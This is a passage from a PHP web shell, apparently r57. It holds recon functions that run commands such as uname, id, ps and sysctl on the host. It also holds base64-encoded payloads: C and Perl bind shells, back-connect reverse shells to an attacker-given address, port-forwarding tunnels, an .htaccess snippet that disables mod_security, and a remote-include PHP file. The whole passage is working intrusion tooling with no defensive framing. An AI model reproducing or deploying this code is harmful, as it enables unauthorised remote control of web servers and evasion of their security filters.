  1477. if($unix){$path = ex("ps -aux | grep $pr | grep -v 'grep'");}
  1478. else{$path = ex("tasklist | findstr \"$pr\"");}
  1479. if(!empty($path)) { return $path; } else { return false; }
  1480. }
  1481. function locate($pr)
  1482. {
  1483. $path = '';
  1484. $path = ex("locate $pr");
  1485. if(!empty($path)) { return $path; } else { return false; }
  1486. }
  1487. function sr($l,$t1,$t2)
  1488.  {
  1489.  return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
  1490.  }
  1491. if (!@function_exists("view_size"))
  1492. {
  1493. function view_size($size)
  1494. {
  1495.  if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
  1496.  elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
  1497.  elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
  1498.  else {$size = $size . " B";}
  1499.  return $size;
  1500. }
  1501. }
  1502.   function DirFilesR($dir,$types='')
  1503.   {
  1504.     $files = Array();
  1505.     if(($handle = @opendir($dir)))
  1506.     {
  1507.       while (false !== ($file = @readdir($handle)))
  1508.       {
  1509.         if ($file != "." && $file != "..")
  1510.         {
  1511.           if(@is_dir($dir."/".$file))
  1512.             $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
  1513.           else
  1514.           {
  1515.             $pos = @strrpos($file,".");
  1516.             $ext = @substr($file,$pos,@strlen($file)-$pos);
  1517.             if($types)
  1518.             {
  1519.               if(@in_array($ext,explode(';',$types)))
  1520.                 $files[] = $dir."/".$file;
  1521.             }
  1522.             else
  1523.               $files[] = $dir."/".$file;
  1524.           }
  1525.         }
  1526.       }
  1527.       @closedir($handle);
  1528.     }
  1529.     return $files;
  1530.   }
  1531.   class SearchResult
  1532.   {
  1533.     var $text;
  1534.     var $FilesToSearch;
  1535.     var $ResultFiles;
  1536.     var $FilesTotal;
  1537.     var $MatchesCount;
  1538.     var $FileMatschesCount;
  1539.     var $TimeStart;
  1540.     var $TimeTotal;
  1541.     var $titles;
  1542.     function SearchResult($dir,$text,$filter='')
  1543.     {
  1544.       $dirs = @explode(";",$dir);
  1545.       $this->FilesToSearch = Array();
  1546.       for($a=0;$a<count($dirs);$a++)
  1547.         $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
  1548.       $this->text = $text;
  1549.       $this->FilesTotal = @count($this->FilesToSearch);
  1550.       $this->TimeStart = getmicrotime();
  1551.       $this->MatchesCount = 0;
  1552.       $this->ResultFiles = Array();
  1553.       $this->FileMatchesCount = Array();
  1554.       $this->titles = Array();
  1555.     }
  1556.     function GetFilesTotal() { return $this->FilesTotal; }
  1557.     function GetTitles() { return $this->titles; }
  1558.     function GetTimeTotal() { return $this->TimeTotal; }
  1559.     function GetMatchesCount() { return $this->MatchesCount; }
  1560.     function GetFileMatchesCount() { return $this->FileMatchesCount; }
  1561.     function GetResultFiles() { return $this->ResultFiles; }
  1562.     function SearchText($phrase=0,$case=0) {
  1563.     $qq = @explode(' ',$this->text);
  1564.     $delim = '|';
  1565.       if($phrase)
  1566.         foreach($qq as $k=>$v)
  1567.           $qq[$k] = '\b'.$v.'\b';
  1568.       $words = '('.@implode($delim,$qq).')';
  1569.       $pattern = "/".$words."/";
  1570.       if(!$case)
  1571.         $pattern .= 'i';
  1572.       foreach($this->FilesToSearch as $k=>$filename)
  1573.       {
  1574.         $this->FileMatchesCount[$filename] = 0;
  1575.         $FileStrings = @file($filename) or @next;
  1576.         for($a=0;$a<@count($FileStrings);$a++)
  1577.         {
  1578.           $count = 0;
  1579.           $CurString = $FileStrings[$a];
  1580.           $CurString = @Trim($CurString);
  1581.           $CurString = @strip_tags($CurString);
  1582.           $aa = '';
  1583.           if(($count = @preg_match_all($pattern,$CurString,$aa)))
  1584.           {
  1585.             $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
  1586.             $this->ResultFiles[$filename][$a+1] = $CurString;
  1587.             $this->MatchesCount += $count;
  1588.             $this->FileMatchesCount[$filename] += $count;
  1589.           }
  1590.         }
  1591.       }
  1592.       $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
  1593.     }
  1594.   }
  1595.   function getmicrotime()
  1596.   {
  1597.     list($usec,$sec) = @explode(" ",@microtime());
  1598.     return ((float)$usec + (float)$sec);
  1599.   }
  1600. $port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
  1601. A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
  1602. GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
  1603. b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
  1604. pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
  1605. NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
  1606. ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
  1607. ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
  1608. 7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
  1609. 9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
  1610. 2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
  1611. dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
  1612. lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
  1613. $port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
  1614. VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
  1615. JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
  1616. TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
  1617. lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
  1618. Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
  1619. Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
  1620. lIENPTk47DQpleGl0IDA7DQp9DQp9";
  1621. $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
  1622. aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
  1623. hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
  1624. sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
  1625. kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
  1626. KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
  1627. OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1628. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
  1629. BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
  1630. SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
  1631. KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
  1632. sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
  1633. Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
  1634. QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
  1635. Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  1636. $datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
  1637. x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
  1638. HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
  1639. aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
  1640. lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
  1641. xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
  1642. W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
  1643. LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
  1644. udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
  1645. 0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
  1646. iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
  1647. KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
  1648. gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
  1649. hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
  1650. iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
  1651. ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
  1652. vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
  1653. AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
  1654. QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
  1655. ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
  1656. gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
  1657. wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
  1658. 29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
  1659. MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
  1660. gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
  1661. 5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
  1662. HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
  1663. dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
  1664. KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
  1665. ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
  1666. E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
  1667. Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
  1668. NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
  1669. J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
  1670. CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
  1671. dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
  1672. gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
  1673. lsZSk7DQogIHJldHVybiAwOw0KfQ==";
  1674. $shellvic="QWx1Q2FS==";
  1675. $datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
  1676. CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
  1677. bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
  1678. gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
  1679. NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
  1680. iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
  1681. aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
  1682. SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
  1683. xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
  1684. WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
  1685. CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
  1686. yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
  1687. I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
  1688. m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
  1689. IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
  1690. lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
  1691. QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
  1692. CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
  1693. c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
  1694. NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
  1695. UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
  1696. DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
  1697. ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
  1698. 1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
  1699. $php_ini1="c2FmZV9tb2RlICAgICAgICAgICAgICAgPSAgICAgICBPZmY=";
  1700. $htacces="PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KICAgIFNlY0ZpbHRlckVuZ2luZSBPZmYNCiAgICBTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+";
  1701. $sni_res="PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsic3MiXSk7DQo/Pg==";
  1702.  
  1703. if($unix)
  1704.  {
  1705.  if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
  1706.  if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
  1707.  if($safe_mode) { $sysctl = '-'; }
  1708.  else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
  1709.  else
  1710.   {
  1711.    $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
  1712.    if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
  1713.    if(empty($sysctl)) { $sysctl = '-'; }
  1714.    setcookie('sysctl',$sysctl);
  1715.   }
  1716.  }
  1717.  if(!isset($_COOKIE[$lang[$language.'_text137']])) {
  1718.     $ust_u='';
  1719.     if($unix && !$safe_mode){
  1720.         foreach ($userful as $item) {
  1721.             if(which($item)){$ust_u.=$item;}
  1722.         }
  1723.     }
  1724.     if (@function_exists('apache_get_modules') && @in_array('mod_perl',apache_get_modules())) {$ust_u.=", mod_perl";}
  1725.     if (@function_exists('apache_get_modules') && @in_array('mod_include',apache_get_modules())) {$ust_u.=", mod_include(SSI)";}
  1726.     if (@function_exists('pcntl_exec')) {$ust_u.=", pcntl_exec";}
  1727.     if (@extension_loaded('win32std')) {$ust_u.=", win32std_loaded";}
  1728.     if (@extension_loaded('win32service')) {$ust_u.=", win32service_loaded";}
  1729.     if (@extension_loaded('ffi')) {$ust_u.=", ffi_loaded";}
  1730.     if (@extension_loaded('perl')) {$ust_u.=", perl_loaded";}
  1731.     if(substr($ust_u,0,1)==",") {$ust_u[0]="";}
  1732.  
  1733.     $ust_u = trim($ust_u);
  1734.     }
  1735.     else
  1736.     {
  1737.     $ust_u = trim($_COOKIE[$lang[$language.'_text137']]);
  1738.  }
  1739.  
  1740.  if(!isset($_COOKIE[$lang[$language.'_text138']])) {
  1741.     $ust_d='';
  1742.     if($unix && !$safe_mode){
  1743.         foreach ($danger as $item) {
  1744.             if(which($item)){$ust_d.=$item;}
  1745.         }
  1746.     }
  1747.     if(!$safe_mode){
  1748.         foreach ($danger as $item) {
  1749.             if(ps($item)){$ust_d.=$item;}
  1750.         }
  1751.     }
  1752.     if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {$ust_d.=", mod_security";}
  1753.     if(substr($ust_d,0,1)==",") {$ust_d[0]="";}
  1754.  
  1755.     $ust_d = trim($ust_d);
  1756.     }else {
  1757.     $ust_d = trim($_COOKIE[$lang[$language.'_text138']]);
  1758.  }
  1759.  
  1760.  if(!isset($_COOKIE[$lang[$language.'_text142']])) {
  1761.  
